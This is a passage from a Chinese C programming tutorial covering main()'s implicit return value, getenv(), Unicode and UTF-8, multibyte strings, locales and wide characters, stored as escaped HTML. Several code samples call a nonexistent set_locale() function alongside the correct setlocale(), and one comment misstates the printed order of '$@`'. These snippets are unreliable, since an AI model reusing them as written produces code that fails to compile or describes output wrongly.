语言规定,如果\u003ccode\u003emain()\u003c/code\u003e函数没有\u003ccode\u003ereturn\u003c/code\u003e语句,那么结束运行的时候,默认会添加一句\u003ccode\u003ereturn 0\u003c/code\u003e,即返回整数\u003ccode\u003e0\u003c/code\u003e。这就是为什么\u003ccode\u003emain()\u003c/code\u003e语句通常约定返回一个整数值,并且返回整数\u003ccode\u003e0\u003c/code\u003e表示程序运行成功。如果返回非零值,就表示程序运行出了问题。\u003c/p\u003e\u003cp\u003eBash 的环境变量\u003ccode\u003e$?\u003c/code\u003e可以用来读取上一个命令的返回值,从而知道是否运行成功。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e$ ./foo hello world\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e$ \u003cspan class=\"built_in\"\u003eecho\u003c/span\u003e $?\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e0\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003eecho $?\u003c/code\u003e用来打印环境变量\u003ccode\u003e$?\u003c/code\u003e的值,该值为\u003ccode\u003e0\u003c/code\u003e,就表示上一条命令运行成功,否则就是运行失败。\u003c/p\u003e\u003cp\u003e注意,只有\u003ccode\u003emain()\u003c/code\u003e会默认添加\u003ccode\u003ereturn 0\u003c/code\u003e,其他函数都没有这个机制。\u003c/p\u003e\u003ch3 id=\"环境变量\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E7%8E%AF%E5%A2%83%E5%8F%98%E9%87%8F\" class=\"headerlink\" title=\"环境变量\"\u003e\u003c/a\u003e环境变量\u003c/h3\u003e\u003cp\u003eC 语言提供了\u003ccode\u003egetenv()\u003c/code\u003e函数(原型在\u003ccode\u003estdlib.h\u003c/code\u003e)用来读取命令行环境变量。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdlib.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* val = getenv(\u003cspan class=\"string\"\u003e\u0026#34;HOME\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (val == \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Cannot find the HOME environment variable\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Value: %s\\n\u0026#34;\u003c/span\u003e, val);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003egetenv(\u0026#34;HOME\u0026#34;)\u003c/code\u003e用来获取命令行的环境变量\u003ccode\u003e$HOME\u003c/code\u003e,如果这个变量为空(\u003ccode\u003eNULL\u003c/code\u003e),则程序报错返回。\u003c/p\u003e\u003ch2 id=\"多字节字符\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%A4%9A%E5%AD%97%E8%8A%82%E5%AD%97%E7%AC%A6\" class=\"headerlink\" title=\"多字节字符\"\u003e\u003c/a\u003e多字节字符\u003c/h2\u003e\u003cp\u003e本章介绍 C 语言如何处理非英语字符。\u003c/p\u003e\u003ch3 id=\"Unicode-简介\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#Unicode-%E7%AE%80%E4%BB%8B\" class=\"headerlink\" title=\"Unicode 简介\"\u003e\u003c/a\u003eUnicode 简介\u003c/h3\u003e\u003cp\u003eC 语言诞生时,只考虑了英语字符,使用7位的 ASCII 码表示所有字符。ASCII 码的范围是0到127,也就是100多个字符,所以\u003ccode\u003echar\u003c/code\u003e类型只占用一个字节,\u003c/p\u003e\u003cp\u003e但是,如果处理非英语字符,一个字节就不够了,单单是中文,就至少有几万个字符,字符集就势必使用多个字节表示。\u003c/p\u003e\u003cp\u003e最初,不同国家有自己的字符编码方式,这样不便于多种字符的混用。因此,后来就逐渐统一到 Unicode 编码,将所有字符放入一个字符集。\u003c/p\u003e\u003cp\u003eUnicode 为每个字符提供一个号码,称为码点(code point),其中0到127的部分,跟 ASCII 码是重合的。通常使用“U+十六进制码点”表示一个字符,比如\u003ccode\u003eU+0041\u003c/code\u003e表示字母\u003ccode\u003eA\u003c/code\u003e。\u003c/p\u003e\u003cp\u003eUnicode 编码目前一共包含了100多万个字符,码点范围是 U+0000 到 U+10FFFF。完整表达整个 Unicode 字符集,至少需要三个字节。但是,并不是所有文档都需要那么多字符,比如对于 ASCII 码就够用的英语文档,如果每个字符使用三个字节表示,就会比单字节表示的文件体积大出三倍。\u003c/p\u003e\u003cp\u003e为了适应不同的使用需求,Unicode 标准委员会提供了三种不同的表示方法,表示 Unicode 码点。\u003c/p\u003e\u003cul\u003e\u003cli\u003eUTF-8:使用1个到4个字节,表示一个码点。不同的字符占用的字节数不一样。\u003c/li\u003e\u003cli\u003eUTF-16:对于U+0000 到 U+FFFF 的字符(称为基本平面),使用2个字节表示一个码点。其他字符使用4个字节。\u003c/li\u003e\u003cli\u003eUTF-32:统一使用4个字节,表示一个码点。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e其中,UTF-8 的使用最为广泛,因为对于 ASCII 字符(U+0000 到 U+007F),它只使用一个字节表示,这就跟 ASCII 的编码方式完全一样。\u003c/p\u003e\u003cp\u003eC 语言提供了两个宏,表示当前系统支持的编码字节长度。这两个宏都定义在头文件\u003ccode\u003elimits.h\u003c/code\u003e。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003eMB_LEN_MAX\u003c/code\u003e:任意支持地区的最大字节长度,定义在\u003ccode\u003elimits.h\u003c/code\u003e。\u003c/li\u003e\u003cli\u003e\u003ccode\u003eMB_CUR_MAX\u003c/code\u003e:当前语言的最大字节长度,总是小于或等于\u003ccode\u003eMB_LEN_MAX\u003c/code\u003e,定义在\u003ccode\u003estdlib.h\u003c/code\u003e。\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"字符的表示方法\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%AD%97%E7%AC%A6%E7%9A%84%E8%A1%A8%E7%A4%BA%E6%96%B9%E6%B3%95\" class=\"headerlink\" title=\"字符的表示方法\"\u003e\u003c/a\u003e字符的表示方法\u003c/h3\u003e\u003cp\u003e字符表示法的本质,是将每个字符映射为一个整数,然后从编码表获得该整数对应的字符。\u003c/p\u003e\u003cp\u003eC 语言提供了不同的写法,用来表示字符的整数号码。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003e\\123\u003c/code\u003e:以八进制值表示一个字符,斜杠后面需要三个数字。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e\\x4D\u003c/code\u003e:以十六进制表示一个字符,\u003ccode\u003e\\x\u003c/code\u003e后面是十六进制整数。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e\\u2620\u003c/code\u003e:以 Unicode 码点表示一个字符(不适用于 ASCII 字符),码点以十六进制表示,\u003ccode\u003e\\u\u003c/code\u003e后面需要4个字符。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e\\U0001243F\u003c/code\u003e:以 Unicode 码点表示一个字符(不适用于 ASCII 字符),码点以十六进制表示,\u003ccode\u003e\\U\u003c/code\u003e后面需要8个字符。\u003c/li\u003e\u003c/ul\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;ABC\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;\\101\\102\\103\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;\\x41\\x42\\x43\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面三行都会输出“ABC”。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;\\u2022 Bullet 1\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;\\U00002022 Bullet 1\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面两行都会输出“• Bullet 1”。\u003c/p\u003e\u003ch3 id=\"多字节字符的表示\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%A4%9A%E5%AD%97%E8%8A%82%E5%AD%97%E7%AC%A6%E7%9A%84%E8%A1%A8%E7%A4%BA\" class=\"headerlink\" title=\"多字节字符的表示\"\u003e\u003c/a\u003e多字节字符的表示\u003c/h3\u003e\u003cp\u003eC 语言预设只有基本字符,才能使用字面量表示,其它字符都应该使用码点表示,并且当前系统还必须支持该码点的编码方法。\u003c/p\u003e\u003cp\u003e所谓基本字符,指的是所有可打印的 ASCII 字符,但是有三个字符除外:\u003ccode\u003e@\u003c/code\u003e、\u003ccode\u003e$\u003c/code\u003e、\u003ccode\u003e`\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e因此,遇到非英语字符,应该将其写成 Unicode 码点形式。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e* s = \u003cspan class=\"string\"\u003e\u0026#34;\\u6625\\u5929\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%s\\n\u0026#34;\u003c/span\u003e, s); \u003cspan class=\"comment\"\u003e// 春天\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码会输出中文“春天”。\u003c/p\u003e\u003cp\u003e如果当前系统是 UTF-8 编码,可以直接用字面量表示多字节字符。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e* s = \u003cspan class=\"string\"\u003e\u0026#34;春天\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%s\\n\u0026#34;\u003c/span\u003e, s);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e注意,\u003ccode\u003e\\u + 码点\u003c/code\u003e和\u003ccode\u003e\\U + 码点\u003c/code\u003e的写法,不能用来表示 ASCII 码字符(码点小于\u003ccode\u003e0xA0\u003c/code\u003e的字符),只有三个字符除外:\u003ccode\u003e0x24\u003c/code\u003e(\u003ccode\u003e$\u003c/code\u003e),\u003ccode\u003e0x40\u003c/code\u003e(\u003ccode\u003e@\u003c/code\u003e)和\u003ccode\u003e0x60\u003c/code\u003e(\u003ccode\u003e`\u003c/code\u003e)。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e* s = \u003cspan class=\"string\"\u003e\u0026#34;\\u0024\\u0040\\u0060\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%s\\n\u0026#34;\u003c/span\u003e, s); \u003cspan class=\"comment\"\u003e// @$`\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码会输出三个 Unicode 字符“@$`”,但是其它 ASCII 字符都不能用这种表示法表示。\u003c/p\u003e\u003cp\u003e为了保证程序执行时,字符能够正确解读,最好将程序环境切换到本地化环境。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eset_locale(LC_ALL, \u003cspan class=\"string\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码中,使用\u003ccode\u003eset_locale()\u003c/code\u003e切换到执行环境切换到系统的本地化语言。\u003ccode\u003eset_locale()\u003c/code\u003e的原型定义在头文件\u003ccode\u003elocale.h\u003c/code\u003e,详见标准库部分的《locale.h》章节。\u003c/p\u003e\u003cp\u003e像下面这样,指定编码语言也可以。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esetlocale(LC_ALL, \u003cspan class=\"string\"\u003e\u0026#34;zh_CN.UTF-8\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码将程序执行环境,切换到中文环境的 UTF-8 编码。\u003c/p\u003e\u003cp\u003eC 语言允许使用\u003ccode\u003eu8\u003c/code\u003e前缀,对多字节字符串指定编码方式为 UTF-8。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e* s = \u003cspan class=\"string\"\u003eu8\u0026#34;春天\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%s\\n\u0026#34;\u003c/span\u003e, s);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e一旦字符串里面包含多字节字符,就意味着字符串的字节数与字符数不再一一对应了。比如,字符串的长度为10字节,就不再是包含10个字符,而可能只包含7个字符、5个字符等等。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eset_locale(LC_ALL, \u003cspan class=\"string\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e* s = \u003cspan class=\"string\"\u003e\u0026#34;春天\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, \u003cspan class=\"built_in\"\u003estrlen\u003c/span\u003e(s)); \u003cspan class=\"comment\"\u003e// 6\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,字符串\u003ccode\u003es\u003c/code\u003e只包含两个字符,但是\u003ccode\u003estrlen()\u003c/code\u003e返回的结果却是6,表示这两个字符一共占据了6个字节。\u003c/p\u003e\u003cp\u003eC 语言的字符串函数只针对单字节字符有效,对于多字节字符都会失效,比如\u003ccode\u003estrtok()\u003c/code\u003e、\u003ccode\u003estrchr()\u003c/code\u003e、\u003ccode\u003estrspn()\u003c/code\u003e、\u003ccode\u003etoupper()\u003c/code\u003e、\u003ccode\u003etolower()\u003c/code\u003e、\u003ccode\u003eisalpha()\u003c/code\u003e等不会得到正确结果。\u003c/p\u003e\u003ch3 id=\"宽字符\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%AE%BD%E5%AD%97%E7%AC%A6\" class=\"headerlink\" title=\"宽字符\"\u003e\u003c/a\u003e宽字符\u003c/h3\u003e\u003cp\u003e上一小节的多字节字符串,每个字符的字节宽度是可变的。这种编码方式虽然使用起来方便,但是很不利于字符串处理,因此必须逐一检查每个字符占用的字节数。所以除了这种方式,C 语言还提供了确定宽度的多字节字符存储方式,称为宽字符(wide character)。\u003c/p\u003e\u003cp\u003e所谓“宽字符”,就是每个字符占用的字节数是固定的,要么是2个字节,要么是4个字节。这样的话,就很容易快速处理。\u003c/p\u003e\u003cp\u003e宽字符有一个单独的数据类型 wchar_t,每个宽字符都是这个类型。它属于整数类型的别名,可能是有符号的,也可能是无符号的,由当前实现决定。该类型的长度为16位(2个字节)或32位(4个字节),足以容纳当前系统的所有字符。它定义在头文件\u003ccode\u003ewchar.h\u003c/code\u003e里面。\u003c/p\u003e\u003cp\u003e宽字符的字面量必须加上前缀“L”,否则 C 语言会把字面量当作窄字符类型处理。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eset_locale(LC_ALL, \u003cspan class=\"string\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003ewchar_t\u003c/span\u003e c = \u003cspan class=\"string\"\u003eL\u0026#39;牛\u0026#39;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%lc\\n\u0026#34;\u003c/span\u003e, c);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003ewchar_t\u003c/span\u003e* s = \u003cspan class=\"string\"\u003eL\u0026#34;春天\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%ls\\n\u0026#34;\u003c/span\u003e, 